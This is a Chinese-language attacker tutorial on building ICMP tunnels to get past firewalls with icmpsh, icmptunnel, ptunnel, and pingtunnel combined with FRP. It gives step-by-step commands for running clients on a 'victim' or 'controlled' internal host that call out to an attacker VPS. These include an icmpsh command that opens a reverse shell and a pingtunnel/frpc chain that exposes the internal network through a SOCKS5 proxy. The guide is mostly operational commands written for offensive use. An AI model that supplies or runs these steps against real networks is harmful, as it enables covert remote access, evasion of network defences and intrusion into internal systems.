1、前言ICMP隧道
ICMP隧道的建立是在ICMP未被防火墙禁用的情况下使用的,就是PING命令,其原理就是在ICMP报文传输的时候,替换其中的Data部分的数据,并且对端通过一样的工具进行ICMP畸形包的处理。从而将恶意流量隐藏在ICMP数据包中,形成ICMP隧道。
适用于被攻击主机可ping攻击机,可作为临时绕过防火墙。
2、Icmpsh
1、ICMPSH最大的优点是不需要太大的权限即可使用<br /> 其使用环境拓扑图可能为这样,不过其他的协议(除IMCP外的协议)与端口都被中间看不见的FireWall所阻挡。<br /><br />** ** 2、我们在运行此程序时需要关闭自身的ICMP应答(可能需要另外下载一个python包)<br /> ** 关闭应答: sysctl -w net.ipv4.icmp_echo_ignore_all=1**<br /> ** ** **apt-get install python-impacket**<br /> 3、然后在**VPS攻击机**上运行<br /> ./icmpsh_m.py <VPS-IP> <内网出网口的公网地址>**(可能为内网防火墙的地址,可通过TcpDump 监听ICMP ,在受害主机上进行PING VPS 从而得知,两者要能互相PING通)**<br /> 例如: ./icmpsh_m.py 192.168.49.138 192.168.49.129<br /> 4、接着在**内网受害主机下(windows)**执行 icmpsh.exe -t VPS_IP -d 500 -s 128 <br /> 可直接获取shell<br /><br /> 5、总结:Icmpsh 使用简单,通过imcp协议绕过防火墙对其他协议的阻拦。<br />**求是两者能够相互ping通信,可直接反弹shell。**
3、IcmpTunnel
git clone [https://github.com/jamesbarlow/icmptunnel.git](https://github.com/jamesbarlow/icmptunnel.git)<br /> 1、cd icmptunnel&&make<br /> 2、接下来在A建立一个服务段,在B建立一个客户端<br /> ** A:**<br /> ./icmptunnel -s && bg <br /> /sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0<br />** B:**<br /> ./icmptunnel A-IP && bg <br /> /sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0<br /> 3、最终效果为以下,两者建立一个特定IP的通道进行连接<br /><br />**效果和ICMPSH差不多**
4、ptunnel(kali自带)
1、此工具虽然与ICMPSH一样都是使用ICMP协议进行通信的,但是不一样的是,ICMPSH常用于直接反弹shell,而ptunnel采用的是隧道中转,因此需要内网存在一个跳板机<br /> 2、同样它需要把自身的ICMP响应关闭<br /> **<br /> 3、这里构造一个拓扑如下<br /><br /> 4、在B主机(跳板服务器)和主机C装上Ptunnel(kali自带)<br /> 5、B主机 开启ptunnel <br /> <br /> C主机 ptunnel -p 192.168.137.128 -lp 1234 -da 192.168.44.130 -dp 22<br /> 
-p :跳板机的ip -lp:自己监听的端口 -da:内网目标的主机IP -dp:想连接的目标的端口
C主机最后在ssh -p 22 127.0.0.1 <br /> 或者D主机 ssh -p 22 192.168.137.129 即可<br /> <br />总结:<br />ptunnel 用于内网流量的中转,以ICMP协议为通道,起到一个内网跳板机的作用,适用于ICMP类型的端口转发<br />使用场景就是ICMP出网,普通不出网,然后转发一个3389端口出来,在进行连接
参考文章:https://www.freebuf.com/sectool/210450.html
5、pingtunnel+FPR
https://github.com/esrrhs/pingtunnel,
pingtunnel可以把TCP/UDP封装到ICMP里,可以和FRP结合,使FRP的TCP流量转化成ICMP
环境:
A主机——192.168.6.133——ICMP出网,其他的不出
B主机——VPS
C主机——本地攻击机
目的:
在C主机访问B主机开启的FRP+ICMP设置的SOCKS5端口,成功访问到A主机的内网,该过程流量为ICMP封装
操作:
1、vps上配置frp服务端
2、vps上配置pingtunnel服务端
3、被控服务器上启动pingtunnel客户端,指定本地监听端口、远程frp服务区监听端口
4、被控服务器上启动frp客户端,端口指向pingtunnel监听的本地端口
1、vps上配置frp服务端
frps 开启监听10000端口,并且设置远程socks5可以连接的端口为10001
./frps -c frps.ini
frps.ini配置如下
2、vps上配置pingtunnel服务端
直接开启就好了:
sudo ./pingtunnel -type server -noprint 1 -nolog 1
3、被控服务器上启动pingtunnel客户端,指定本地监听端口、远程pingtunnel服务器,远程frp服务器监听端口
开启pingtunnel客户端(建议使用两台VPS,Pingtunnel和frps服务器不要开在同一台服务器上)
pingtunnel.exe -type client -l 127.0.0.1:9999 -s 81.68.232.46 -t 81.68.232.48:10000 -tcp 1 -noprint 1 -nolog 1
4、被控服务器上启动frp客户端,端口指向pingtunnel监听的本地端口
frpc.exe -u 127.0.0.1 -p 9999 -s 10000